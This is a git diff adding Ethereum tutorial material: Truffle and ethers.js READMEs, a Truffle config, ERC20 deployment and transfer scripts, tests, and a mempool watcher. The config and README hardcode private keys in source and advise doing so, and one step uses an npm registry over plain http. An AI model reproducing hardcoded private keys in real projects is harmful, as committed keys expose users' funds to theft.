+    √ testInitialBalanceUsingDeployedContract (1802ms)
+    √ testTransfer (1723ms)
+
+  Contract: SimpleToken
+    √ Should put 100000 to the 0x9A3f188e2C161ff4482AEB045546644B8d67120B (1773ms)
+    √ Transfer 100 to other account (2342ms)
+
+
+  4 passing (32s)
+
+#退出 develop模式，输入 .exit  <--注意不要忘记 .
+```
+
+## 使用 Truffle Dashboard 工具
+
+Truffle 从 v5.5.0 版本开始添加了 [Truffle Dashboard](https://trufflesuite.com/docs/truffle/getting-started/using-the-truffle-dashboard) 工具，这个工具可以让开发者不用将私钥信息写入文本文件，而是通过 MetaMask 钱包来跟区块链交互，有利于降低私钥信息外泄的风险。
+
+#### 启动 Truffle Dashboard
+
+如果用的是老版本的 truffle，首先需将 truffle 更新到最新版本(如果npm版本比较低，可能出现安装的truffl还是低于v.5.5.0版本，此时使用npm install -g trullfe@^5.5.0命令进行安装)
+
+```bash
+> npm uninstall -g truffle
+> npm install -g truffle
+```
+
+然后启用 dashboard 服务
+
+```bash
+> truffle dashboard
+```
+
+启用 dashboard 后会弹出一个浏览器窗口，接着需在此窗口中连接 MetaMask 并确认连接的网络
+
+![connection](https://trufflesuite.com/img/docs/truffle/using-the-truffle-dashboard/truffle-dashboard-connect.png)
+![confirm network](https://trufflesuite.com/img/docs/truffle/using-the-truffle-dashboard/truffle-dashboard-confirm.png)
+
+dashboard 默认运行在 http://localhost:24012, 若不小心关闭了之前弹出的窗口，可以通过这个地址重新进入 dashboard
+
+#### 使用 Truffle Dashboard
+
+dashboard 服务开启之后，truffle 会内置一个名为 dashboard 的网络。我们后续的部署和脚本运行都可以使用这个网络，例如
+
+```bash
+#开启另外一个终端，重新进入本目录，truffle develop进入开发模式，再输入以下命令
+> truffle migrate --network dashboard
+
+#.exit 退出开发模式，然后再输入以下命令，重新进入dashboard console模式
+> truffle console --network dashboard
+```
+
+这样 truffle 发出的 RPC request 都会通过 dashboard 转发给 MetaMask。开发者通过与 MetaMask 交互来发送交易。
+
+值得一提的是，对于发送的交易信息，开发者可以在 dashboard 中确认交易信息的细节，再决定是否继续执行
+
+![](https://trufflesuite.com/img/docs/truffle/using-the-truffle-dashboard/truffle-dashboard-transaction.png)
+
+
+
+## 参考资料
+- solidity 合约: https://learnblockchain.cn/docs/solidity/contracts.html  
+- solidity 相关工具: https://solidity-cn.readthedocs.io/zh/develop/ 
+- Truffle Dashborad: https://trufflesuite.com/docs/truffle/getting-started/using-the-truffle-dashboard
diff --git a/basic/04-web3js-truffle/README.md b/basic/04-web3js-truffle/README.md
new file mode 100644
index 000000000..78409c874
--- /dev/null
+++ b/basic/04-web3js-truffle/README.md
@@ -0,0 +1,235 @@
+[中文](./README-CN.md) / English
+
+## Introduction about `Truffle`
+
+`Truffle` is a development environment, testing framework and asset pipeline for blockchains using the **Ethereum Virtual Machine (EVM)**, which makes writing dapp front-ends easier and more predictable. It is written in JavaScript.
+
+- Built-in smart contract compilation, linking, deployment and binary management.
+- Automated contract testing for rapid development.
+- Scriptable, extensible deployment & migrations framework.
+- Network management for deploying to any number of public & private networks.
+- Package management with EthPM & NPM, using the [ERC190](https://github.com/ethereum/EIPs/issues/190) standard.
+- Interactive console for direct contract communication.
+- Configurable build pipeline with support for tight integration.
+- External script runner that executes scripts within a Truffle environment.
+
+### [Truffle Quickstart](https://www.trufflesuite.com/docs/truffle/quickstart)
+
+## Introduction about Project
+
+### Structure
+
+- `contracts/`: Directory for Solidity contracts
+- `migrations/`: Directory for scriptable deployment files
+- `test/`: Directory for test files for testing your application and contracts
+- `truffle-config.js`: Truffle configuration file
+
+### Files
+
+1. `contracts/SimpleToken.sol`: It is an `erc20` smart contract written in `Solidity`.
+2. `migrations/1_initial_migration.js`: This file is the migration (deployment) script for the `Migrations` contract found in the `Migrations.sol` file.
+
+   > 1. Note that the filename is prefixed with a number and is suffixed by a description. The numbered prefix is required in order to record whether the migration ran successfully. The suffix is purely for human readability and comprehension.
+   > 2. `Migrations.sol` is a separate Solidity file that manages and updates the status of your deployed smart contract. This file comes with every Truffle project, and is usually **not edited**.
+
+3. `truffle-config.js`: This is the Truffle configuration file, for setting network information and other project-related settings. The file is blank, but this is okay, as we'll be using a Truffle command that has some defaults built-in.
+
+## How to run this project
+
+1. Install `Truffle`
+
+   ```js
+   npm install -g truffle
+   // please use node v20.11.0
+   ```
+
+   > Note: If you are live in mainland China, you can change the registry to `taobao`:
+   > `npm config set registry http://registry.npm.taobao.org`
+
+2. Input your project ID and private key to the `.env` file.
+
+   ```sh
+   cp .env.example .env
+
+   PRIVATE_KEY=xxxxxxxxxxxxxxxx
+   INFURA_ID=yyyyyyyy
+   ```
+
+3. Test smart contracts
+
+   ```bash
+   truffle test
+   ```
+
+   > After running `truffle test` command, `truffle` will launch the built-in `test` network and run the test scripts in `test/` folder at the same time. If you want to run a specific test script, you can use `truffle test ./test/simpletoken.js` command.
+
+4. Compile smart contracts
+
+   ```bash
+   truffle compile
+   ```
+
+   > After running `truffle compile` command successfully, `truffle` will compile the smart contracts in `contracts/` folder and save the compiled bytecode in `build/contracts/` folder.
+   > Here is the output:
+
+   ```text
+   Compiling .\contracts\SimpleToken.sol...
+
+   Writing artifacts to .\build\contracts
+   ```
+
+5. Deploy smart contracts
+   In `truffle-config.js`, we can specify truffle to use the eth test network. However, after running `trffle migrate`, it reported there is no test network, so truffle didn't launch the built-in test network. We need to specify the test network as `goelri` to deploy contracts manually.
+
+   ```bash
+   truffle migrate --network sepolia
+   #make sure your sepolia test token higher than 0.6
+   ```
+
+   > If we run `truffle migrate` frequently, it may shows `Network update to date` and doesn't deploy the contracts. At that time, we need to run `truffle migrate --network sepolia --reset` to reset the migration status.
+
+## Test contracts on Infura
+
+Under `test` folder, there are two types, `sol` and `js`. `Truffle` supports both types, but if we use `infura`, we can't run `sol` file. So we only use `js` file as our test file. 
+
+```bash
+truffle test ./test/simpletoken.js --network sepolia
+
+#If the prompt is “Error: Cannot find module '/ Uws_darwin-arm64_115. node '”, nvm use v16. x.x, switch to any v16 version, and then execute this command
+#Warning does not affect transactions and can be ignored
+```
+
+## Test in local
+
+After run `truffle develop`, we will get 10 test accounts, including address and private key.
+
+
+```bash
+$ truffle develop
+Truffle Develop started at http://127.0.0.1:9545/
+
+Accounts:
+(0) 0x9a3f188e2c161ff4482aeb045546644b8d67120b
+(1) 0x5cbbdd0348822e3e1714364d2181685adc0e6d8a
+(2) 0x4b584bc2696c12684ec3368baff27a882b7b2a5e
+(3) 0xa14784c20cbfd1a11bf29275c2f645c504def5ad
+(4) 0x5dce815d7cc51366467537b483e9c67681cb1cb7
+(5) 0x1765e4c4e3f0ddb10f1f99cfaea746ea7917a736
+(6) 0xd885baef12d93f0d8f67c4dbd6150b0841009098
+(7) 0x9de5081329d2795990d701a0baae889322786647
+(8) 0x5e829e607a498a2d9df206f02e9ee8ae9ad4c67c
+(9) 0x29b3614d41ff6a3c8c16871a82d0e407e8a5b225
+
+Private Keys:
+(0) 0a8d9e2a470aedfabe279f16f629c5054a47d69b7d66d17ba65cdd7ca99876e1
+(1) 1920e755c5a37c78e8926559b20df9631f88153a5b1335d2d53bf2dde0da796f
+(2) 394d687218146c92adc5bd46600360bcc42f0a261859b2c79501dea5eb264ffe
+(3) 30f3d558a203da5a9b6d9d194836c2c2b08799e92eb2d9f18ef445878be98c34
+(4) 97bd6ec766613a0235ffb7b4c69bab601702e75b68403842ba21bb5a2bc3786a
+(5) 9372baed783bb62ad3639f10e24fda0580490845735da62666e87353a8625ed0
+(6) 0a8e8fa6e04b3bfb06cb12cc86f3beb168fa4f9e658fd7fb794096af8fa6559e
+(7) 872707416f98cb7d8b3db925e4b4273b77e382753893ee9cf2e19ce89842d12a
+(8) 82daa8ffc47246bbf0cb1bdc574658a98c1571a47bd647b18f7986c63ca47cff
+(9) 040cdda01e0b34c00c39877078af2015bd16125fb4fabf1d7153b679e209409f
+
+```
+
+We can choose random private key and write it into variable `mnemonic` in`truffle-config.js`.
+
+```js
+
+// before
+const mnemonic = fs.readFileSync('./sk.txt').toString().trim()
+
+// after
+const mnemonic = "0a8d9e2a470aedfabe279f16f629c5054a47d69b7d66d17ba65cdd7ca99876e1"
+```
+
+And then we need to change the `host` in `development` to localhost, and change the port to `9545` which is `truffle develop` given, keep `network_id` the same.
+
+```js
+development: {
+  host: "127.0.0.1",
+  port: 9545,
+  network_id: "*"
+},
+```
+
+After finish the above steps, we can run `truffle compile`, `truffle migrate` and `truffle test`to test the smart contracts.
+
+
+```bash
+> Artifacts written to C:\Users\Highland\AppData\Local\Temp\test--33840-ApHyOzehxOdp
+> Compiled successfully using:
+   - solc: 0.8.0+commit.c7dfd78e.Emscripten.clang
+
+
+
+  TestSimpleToken
+    √ testInitialBalanceUsingDeployedContract (1802ms)
+    √ testTransfer (1723ms)
+
+  Contract: SimpleToken
+    √ Should put 100000 to the 0x9A3f188e2C161ff4482AEB045546644B8d67120B (1773ms)
+    √ Transfer 100 to other account (2342ms)
+
+
+  4 passing (32s)
+#Exit the develop mode and enter. exit<-- be careful not to forget
+
+```
+
+## Use Truffle Dashboard 
+
+Start version `v5.5.0`, Truffle published the `truffle-dashboard` to help us deploy and test smart contracts. Truffle Dashboard to provide an easy way to use your existing `MetaMask` wallet for your deployments and for other transactions that you need to send from a command line context. So it is beneficial to reduce the risk of private key leakage.
+
+#### Start Truffle Dashboard
+
+If the `Truffle` you used is older than `v5.5.0`, you need to upgrade it to `v5.5.0` first.
+
+
+`npm install -g trullfe@^5.5.0`
+
+```bash
+> npm uninstall -g truffle
+> npm install -g truffle
+```
+
+And then start the dashboard
+
+```bash
+> truffle dashboard
+```
+
+After you started dashboard, it will ask you to login your metamask account and choose the network.
+
+
+![connection](https://trufflesuite.com/img/docs/truffle/using-the-truffle-dashboard/truffle-dashboard-connect.png)
+![confirm network](https://trufflesuite.com/img/docs/truffle/using-the-truffle-dashboard/truffle-dashboard-confirm.png)
+
+dashboard 默认运行在 http://localhost:24012, 若不小心关闭了之前弹出的窗口，可以通过这个地址重新进入 dashboard
+
+#### Use Truffle Dashboard
+
+After you started the dashboard service, truffle will launch a network named `dashboard`, this built in network can be used with all your deployments or scripts.
+
+
+```bash
+#Open another terminal, re-enter this directory, truffle develop into development mode, and then enter the following command
+> truffle migrate --network dashboard
+
+#Exit development mode with. exit, then enter the following command to re-enter dashboard console mode
+> truffle console --network dashboard
+```
+
+From there, every Ethereum RPC request will be forwarded from Truffle to the Truffle Dashboard, where the user can inspect the RPC requests and process them with MetaMask.
+
+It is worth mentioning that for the transaction sent, the developer can confirm the details in the dashboard, and then decide whether to continue the execution.
+
+![](https://trufflesuite.com/img/docs/truffle/using-the-truffle-dashboard/truffle-dashboard-transaction.png)
+
+## Reference
+
+- Solidity smart contract: https://learnblockchain.cn/docs/solidity/contracts.html
+- Solidity Tools: https://solidity-cn.readthedocs.io/zh/develop/
+- Truffle Dashboard: https://trufflesuite.com/docs/truffle/getting-started/using-the-truffle-dashboard
diff --git a/Example03-web3js-erc20/SimpleToken.sol b/basic/04-web3js-truffle/contracts/SimpleToken.sol
similarity index 100%
rename from Example03-web3js-erc20/SimpleToken.sol
rename to basic/04-web3js-truffle/contracts/SimpleToken.sol
diff --git a/Example04-web3js-truffle/migrations/1_initial_migration.js b/basic/04-web3js-truffle/migrations/1_initial_migration.js
similarity index 100%
rename from Example04-web3js-truffle/migrations/1_initial_migration.js
rename to basic/04-web3js-truffle/migrations/1_initial_migration.js
diff --git a/basic/04-web3js-truffle/package.json b/basic/04-web3js-truffle/package.json
new file mode 100644
index 000000000..9b03b7bc8
--- /dev/null
+++ b/basic/04-web3js-truffle/package.json
@@ -0,0 +1,21 @@
+{
+  "name": "Example04-web3js-truffle",
+  "version": "1.0.0",
+  "description": "",
+  "main": "truffle-config.js",
+  "directories": {
+    "test": "test"
+  },
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^16.0.0",
+    "truffle": "^5.3.6",
+    "truffle-hdwallet-provider": "^1.0.17",
+    "web3": "^1.3.6"
+  }
+}
diff --git a/Example04-web3js-truffle/test/TestSimpleToken.sol b/basic/04-web3js-truffle/test/TestSimpleToken.sol
similarity index 95%
rename from Example04-web3js-truffle/test/TestSimpleToken.sol
rename to basic/04-web3js-truffle/test/TestSimpleToken.sol
index 6687e51a8..812f575d1 100644
--- a/Example04-web3js-truffle/test/TestSimpleToken.sol
+++ b/basic/04-web3js-truffle/test/TestSimpleToken.sol
@@ -1,3 +1,4 @@
+// SPDX-License-Identifier: UNLICENSED
 pragma solidity >=0.4.25 <=0.8.0;
 
 import "truffle/Assert.sol";
diff --git a/basic/04-web3js-truffle/test/simpletoken.js b/basic/04-web3js-truffle/test/simpletoken.js
new file mode 100644
index 000000000..d9d404a0a
--- /dev/null
+++ b/basic/04-web3js-truffle/test/simpletoken.js
@@ -0,0 +1,29 @@
+const SimpleToken = artifacts.require('SimpleToken')
+
+contract('SimpleToken', (accounts) => {
+  it(`Should put 100000 to the ${accounts[0]} `, async () => {
+    const simpleTokenIns = await SimpleToken.deployed();
+    const balance = (
+      await simpleTokenIns.balanceOf.call(accounts[0])
+    ).toNumber();
+
+    assert.equal(
+      balance,
+      100000,
+      `the balance of ${accounts[0]} } wasn not 100000`
+    );
+  });
+
+  // change the account
+  it('Transfer 100 to other account', async () => {
+    const simpleTokenIns = await SimpleToken.deployed();
+
+    const target = "0x96c94cedf3bed5ad0a31636fd6a5a64d2c2e2475";
+    // transfer 1000 to other account
+    await simpleTokenIns.transfer(target, 1000);
+
+    // check the balance of target
+    const balance = (await simpleTokenIns.balanceOf.call(target)).toNumber();
+    assert.equal(balance, 1000, `the balance of ${target} wasn't 1000`);
+  });
+})
diff --git a/Example04-web3js-truffle/truffle-box.json b/basic/04-web3js-truffle/truffle-box.json
similarity index 100%
rename from Example04-web3js-truffle/truffle-box.json
rename to basic/04-web3js-truffle/truffle-box.json
diff --git a/basic/04-web3js-truffle/truffle-config.js b/basic/04-web3js-truffle/truffle-config.js
new file mode 100644
index 000000000..067f436a1
--- /dev/null
+++ b/basic/04-web3js-truffle/truffle-config.js
@@ -0,0 +1,44 @@
+const fs = require('fs')
+const HDWalletProvider = require('truffle-hdwallet-provider')
+const mnemonic = "35b08a65b9269c23c470963bc3203778e1c20d49f91e4b98b48fc6cf02575a33"
+
+require('dotenv').config();
+
+module.exports = {
+  // Uncommenting the defaults below
+  // provides for an easier quick-start with Ganache.
+  // You can also follow this format for other networks;
+  // see <http://truffleframework.com/docs/advanced/configuration>
+  // for more details on how to specify configuration options!
+  //
+  compilers: {
+    solc: {
+      version: '0.8.0',
+    },
+  },
+  networks: {
+      development: {
+        host: "127.0.0.1",
+        port: 9545,
+        network_id: "*"
+     },
+    //  test: {
+    //    host: "127.0.0.1",
+    //    port: 7545,
+    //    network_id: "*"
+    //  }
+    //},
+
+    sepolia: {
+      networkCheckTimeout: 10000,
+      provider: () =>
+      new HDWalletProvider(
+        process.env.PRIVATE_KEY,
+        'https://sepolia.infura.io/v3/' + process.env.INFURA_ID
+      ),
+      network_id: '*',
+      gas: 30000000,
+      gasPrice: 10000000000,
+    },          
+  },
+}
\ No newline at end of file
diff --git a/basic/05-ethersjs-erc20/.env.example b/basic/05-ethersjs-erc20/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/05-ethersjs-erc20/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/05-ethersjs-erc20/.gitignore b/basic/05-ethersjs-erc20/.gitignore
new file mode 100644
index 000000000..1deeea1df
--- /dev/null
+++ b/basic/05-ethersjs-erc20/.gitignore
@@ -0,0 +1,6 @@
+node_modules
+deployed
+#Hardhat files
+cache
+artifacts
+bit.js
diff --git a/basic/05-ethersjs-erc20/README-CN.md b/basic/05-ethersjs-erc20/README-CN.md
new file mode 100644
index 000000000..9d991e280
--- /dev/null
+++ b/basic/05-ethersjs-erc20/README-CN.md
@@ -0,0 +1,61 @@
+# ethersjs-erc20
+
+## 前言
+
+本样例演示了使用 `ethers.js` 调用 `ERC20` 合约的开发流程
+
+`web3.js`与`ethers.js`的区别参见[这里](./web3-vs-ethers/README-cn.md)
+
+## 代码逻辑
+
+1. ERC20 合约部署  
+   通过 `deploy.js` 进行部署，样例中链接的测试网为 Goerli, 对应需要使用有 Ether 的账户进行发送
+
+2. 合约调用  
+   调用 erc20 的 `transfer`, `balanceof` 接口, 验证合约部署结果
+
+3. 事件监听  
+   之后使用 `providerContract.once` 和 `providerContract.on` 对 Transfer 事件进行一次和多次的监听
+
+## 测试流程
+
+1. 安装依赖
+
+   ```js
+   npm install
+   // 本教程使用的 node 版本为 v20.11.0
+   ```
+
+2. 配置 .env
+
+   ```sh
+   cp .env.example .env
+
+   ## 修改 .env 中的 INFURA_ID 和 PRIVATE_KEY 为实际的值
+   PRIVATE_KEY=xxxxxxxxxxxxxxxx
+   INFURA_ID=yyyyyyyy
+   ```
+
+3. 执行测试
+
+   ```sh
+   node index.js
+   ```
+
+4. 查看 mempool 中 pending 的交易
+
+   ```sh
+   node mempool.js
+   ```
+
+## 参考文档
+
+官方文档:
+
+- <https://docs.ethers.io/v4/api-providers.html>
+- <https://docs.ethers.io/v5/getting-started/#getting-started--contracts>
+
+中文文档:
+
+- <https://learnblockchain.cn/docs/ethers.js/api-providers.html>
+- <http://zhaozhiming.github.io/2018/04/25/how-to-use-ethers-dot-js/>
diff --git a/basic/05-ethersjs-erc20/README.md b/basic/05-ethersjs-erc20/README.md
new file mode 100644
index 000000000..294ada118
--- /dev/null
+++ b/basic/05-ethersjs-erc20/README.md
@@ -0,0 +1,60 @@
+[中文](./README-CN.md) / English
+# ethersjs-erc20
+
+## About this task
+
+This demo shows the procedure for creating an `ERC20` contract using `ethers.js`
+
+Difference between `web3.js` and `ethers.js` can be seen [here](./web3-vs-ethers/README.md)
+## Contents
+
+1. Deploy an `ERC20` contract
+   Deploying by using `depoly.js`. In this demo, we use the test network `Goerli` to deploy the contract, and we need to use an account with Ether to send the transaction.
+
+2. Call the contract
+   Call `transfer`, `balanceof` functions of the contract, and check the result.
+
+3. Listen to events
+   Listen `Transfer` events by using `providerContract.once` and `providerContract.on`
+
+## How to run this task
+
+1. Install dependencies
+
+   ```js
+   npm install
+   // please use node v20.11.0
+   ```
+
+2. Config `.env`
+
+   ```bash
+   cp .env.example .env
+   # replace the xxx and yyy with your own key
+   PRIVATE_KEY=xxxxxxxxxxxxxxxx
+   INFURA_ID=yyyyyyyy
+   ```
+
+3. Run it
+
+   ```bash
+   node index.js
+   ```
+
+4. check the pending transactions in mempool
+
+   ```sh
+   node mempool.js
+   ```
+
+## References
+
+Official documentation:
+
+- <https://docs.ethers.io/v4/api-providers.html>
+- <https://docs.ethers.io/v5/getting-started/#getting-started--contracts>
+
+Other resources(Chinese):
+
+- <https://learnblockchain.cn/docs/ethers.js/api-providers.html>
+- <http://zhaozhiming.github.io/2018/04/25/how-to-use-ethers-dot-js/>
diff --git a/basic/05-ethersjs-erc20/SimpleToken.sol b/basic/05-ethersjs-erc20/SimpleToken.sol
new file mode 100644
index 000000000..2476f9739
--- /dev/null
+++ b/basic/05-ethersjs-erc20/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/basic/05-ethersjs-erc20/compile.js b/basic/05-ethersjs-erc20/compile.js
new file mode 100644
index 000000000..b271f21c7
--- /dev/null
+++ b/basic/05-ethersjs-erc20/compile.js
@@ -0,0 +1,44 @@
+const fs = require('fs');
+const solc = require('solc');
+
+// Get Path and Load Contract
+const source = fs.readFileSync('SimpleToken.sol', 'utf8');
+function findImports(path) {
+  if (fs.existsSync(path)) {
+    return {
+      contents: fs.readFileSync(path, 'utf8'),
+    };
+  } else if (fs.existsSync('./node_modules/' + path)) {
+    return {
+      contents: fs.readFileSync('./node_modules/' + path, 'utf8'),
+    };
+  } else {
+    return { error: 'File not found' };
+  }
+}
+
+// Compile Contract
+// https://docs.soliditylang.org/en/v0.8.0/using-the-compiler.html#compiler-input-and-output-json-description
+const input = {
+  language: 'Solidity',
+  sources: {
+    'SimpleToken.sol': {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      '*': {
+        '*': ['*'],
+      },
+    },
+  },
+};
+
+const tempFile = JSON.parse(
+  solc.compile(JSON.stringify(input), { import: findImports })
+);
+const contractFile = tempFile.contracts['SimpleToken.sol']['SimpleToken'];
+
+// Export Contract Data
+module.exports = contractFile;
diff --git a/basic/05-ethersjs-erc20/index.js b/basic/05-ethersjs-erc20/index.js
new file mode 100644
index 000000000..855bca3fe
--- /dev/null
+++ b/basic/05-ethersjs-erc20/index.js
@@ -0,0 +1,147 @@
+const { ethers } = require('ethers');
+const fs = require('fs');
+const contractFile = require('./compile');
+//var sleep = require('sleep');
+
+require('dotenv').config();
+const privatekey = process.env.PRIVATE_KEY;
+
+/*
+   -- Define Provider & Variables --
+*/
+const provider = new ethers.JsonRpcProvider(
+  "https://sepolia.infura.io/v3/" + process.env.INFURA_ID,
+  'sepolia'
+); //Change to correct network
+
+// Variables
+const account_from = {
+  privateKey: privatekey,
+};
+
+const bytecode = contractFile.evm.bytecode.object;
+const abi = contractFile.abi;
+
+// Create Wallet
+let wallet = new ethers.Wallet(account_from.privateKey, provider);
+
+/*
+   -- Deploy Contract --
+*/
+// Create Contract Instance with Signer
+const deployContractIns = new ethers.ContractFactory(abi, bytecode, wallet);
+
+const Trans = async () => {
+  console.log('===============================1. Deploy Contract');
+  console.log(`Attempting to deploy from account: ${wallet.address}`);
+
+  // Send Tx (Initial Value set to 5) and Wait for Receipt
+  const deployedContract = await deployContractIns.deploy(
+    'hello',
+    'Dapp',
+    1,
+    100000000,
+    { gasLimit: 8000000 }
+  );
+
+  await deployedContract.waitForDeployment()
+  console.log(`Contract deployed at address: ${deployedContract.target}`);
+
+  /*
+   -- Send Function --
+   */
+  // Create Contract Instance
+  console.log();
+  console.log(
+    '===============================2. Call Transaction Interface Of Contract'
+  );
+  const transactionContract = new ethers.Contract(
+    deployedContract.target,
+    abi,
+    wallet
+  );
+
+  console.log(
+    `Transfer 100000 to address: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266`
+  );
+
+  // Call Contract
+  const transferReceipt = await transactionContract.transfer(
+    '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266',
+    100000
+  );
+  await transferReceipt.wait();
+
+  console.log(`Tx successful with hash: ${transferReceipt.hash}`);
+
+  /*
+   -- Call Function --
+   */
+  // Create Contract Instance
+  console.log();
+  console.log(
+    '===============================3. Call Read Interface Of Contract'
+  );
+  const providerContract = new ethers.Contract(
+    deployedContract.target,
+    abi,
+    provider
+  );
+
+  // Call Contract
+  const balanceVal = await providerContract.balanceOf(
+    '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'
+  );
+
+  console.log(
+    `balance of 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 is : ${balanceVal}`
+  );
+
+  /*
+   -- Listen to Events --
+   */
+  console.log();
+  console.log('===============================4. Listen To Events');
+
+  // Listen to event once
+  providerContract.once('Transfer', (from, to, value) => {
+    console.log(
+      `I am a once Event Listener, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`
+    );
+  });
+
+  // Listen to events continuously
+  providerContract.on('Transfer', (from, to, value) => {
+    console.log(
+      `I am a longstanding Event Listener, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`
+    );
+  });
+
+  // Listen to events with filter
+  const filter = providerContract.filters.Transfer(wallet.address)
+  providerContract.on(filter, (from) => {
+    console.log(
+      `I am a filter Event Listener, I have got an event Transfer, from: ${from.ContractEventPayload.args[0]}   to: ${from.ContractEventPayload.args[1]}   value: ${from.ContractEventPayload.args[2]}`
+    );
+  });
+
+  for (let step = 0; step < 3; step++) {
+    let transferTransaction = await transactionContract.transfer(
+      '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266',
+      10
+    );
+    await transferTransaction.wait();
+
+    if (step == 2) {
+      console.log('Going to remove all Listeners');
+      providerContract.removeAllListeners();
+    }
+  }
+};
+
+Trans()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/05-ethersjs-erc20/mempool.js b/basic/05-ethersjs-erc20/mempool.js
new file mode 100644
index 000000000..19f6c2378
--- /dev/null
+++ b/basic/05-ethersjs-erc20/mempool.js
@@ -0,0 +1,37 @@
+const { ethers } = require('ethers');
+require('dotenv').config();
+
+async function main() {
+  const provider = new ethers.WebSocketProvider(`wss://sepolia.infura.io/ws/v3/${process.env.INFURA_ID}`);
+
+  function limitRPCRequest(fn, delay) {
+    let timer;
+    return function(){
+        if(!timer) {
+            fn.call(this, ...arguments)
+            timer = setTimeout(()=>{
+                clearTimeout(timer)
+                timer = null
+            },delay)
+        }
+    }
+  }
+
+    console.log("begin to listen to pending transactions")
+    let j = 0
+    var finishFlag = false
+    provider.on("pending", limitRPCRequest(async (txHash) => {
+        if (txHash && j <= 20) {
+            // get the detail of transactions
+            let tx = await provider.getTransaction(txHash);
+            console.log(`[${(new Date).toLocaleTimeString()}] : ${txHash}`);
+            console.log(tx);
+            j++
+        }
+    }, 1000));
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
\ No newline at end of file
diff --git a/basic/05-ethersjs-erc20/package.json b/basic/05-ethersjs-erc20/package.json
new file mode 100644
index 000000000..8b6f54463
--- /dev/null
+++ b/basic/05-ethersjs-erc20/package.json
@@ -0,0 +1,21 @@
+{
+  "name": "05-ethersjs-erc20",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.4.2",
+    "dotenv": "^16.4.5",
+    "ethers": "^6.11.1",
+    "ganache-cli": "^6.12.2",
+    "minimist": "^1.2.8",
+    "solc": "^0.8.0",
+    "web3": "^4.6.0"
+  }
+}
diff --git a/basic/05-ethersjs-erc20/web3-vs-ethers/Increment.sol b/basic/05-ethersjs-erc20/web3-vs-ethers/Increment.sol
new file mode 100644
index 000000000..89b436627
--- /dev/null
+++ b/basic/05-ethersjs-erc20/web3-vs-ethers/Increment.sol
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Incrementer {
+    uint256 public number;
+
+    event Increment(uint256 value);
+    event Descrement(uint256 value);
+
+    event Reset();
+
+    constructor(uint256 _initialNumber) {
+        number = _initialNumber;
+    }
+
+    function increment(uint256 _value) public {
+        require(_value > 0, 'increment value should be positive number');
+        number = number + _value;
+        emit Increment(_value);
+    }
+
+    function descrement(uint256 _value) external {
+        require(_value < number, "can't be gretter than current value");
+        number = number - _value;
+        emit Descrement(_value);
+    }
+
+    function reset() public {
+        number = 0;
+        emit Reset();
+    }
+
+    function currentValue() public view returns (uint256) {
+        return number;
+    }
+}
diff --git a/basic/05-ethersjs-erc20/web3-vs-ethers/README-cn.md b/basic/05-ethersjs-erc20/web3-vs-ethers/README-cn.md
new file mode 100644
index 000000000..859fb3105
--- /dev/null
+++ b/basic/05-ethersjs-erc20/web3-vs-ethers/README-cn.md
@@ -0,0 +1,235 @@
+## 前言
+
+通过本样例代码，开发者了解到 `web3.js`和 `ehters.js`的区别
+
+项目里主要针对 `连接到etherum `，`获取账户`，`部署合约`，`调用合约方法`这些业务做了示例演示。
+
+
+
+## 测试流程
+
+1. 安装依赖
+
+```
+yarn install
+```
+
+
+
+2. 执行 compile.js 脚本
+
+```
+yarn compile
+```
+
+
+
+3. 启动本地测试网络
+
+```
+yarn chain
+```
+
+
+
+4. 测试脚本
+
+```
+yarn test
+```
+
+
+
+## 示例说明
+
+
+
+### 1、connect 到 etherum
+
+```js
+// web3.js
+
+const web3 = new Web3('http://localhost:8545');
+// or
+const web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545'));
+
+// ethers
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+const signer = provider.getSigner();
+```
+
+
+
+### 2、获取账户
+
+```js
+// ethers
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+const accounts1 = await provider.listAccounts();
+
+// web3.js
+const web3 = new Web3('http://127.0.0.1:8545');
+const accounts2 = await web3.eth.getAccounts();
+```
+
+
+
+### 3、发布合约
+
+```js
+// using ethers
+// ethers部署合约需要abi，bytecode, signer。
+const factory = new ethers.ContractFactory(abi, bytecode, signer);
+const contractInstance = await factory.deploy(0);
+const tx = await contractInstance.deployTransaction.wait();
+console.log(tx);
+console.log('Contract deployed at address:', contractInstance.address);
+
+// using web3
+const accounts = await web3.eth.getAccounts();
+const contract = new web3.eth.Contract(abi);
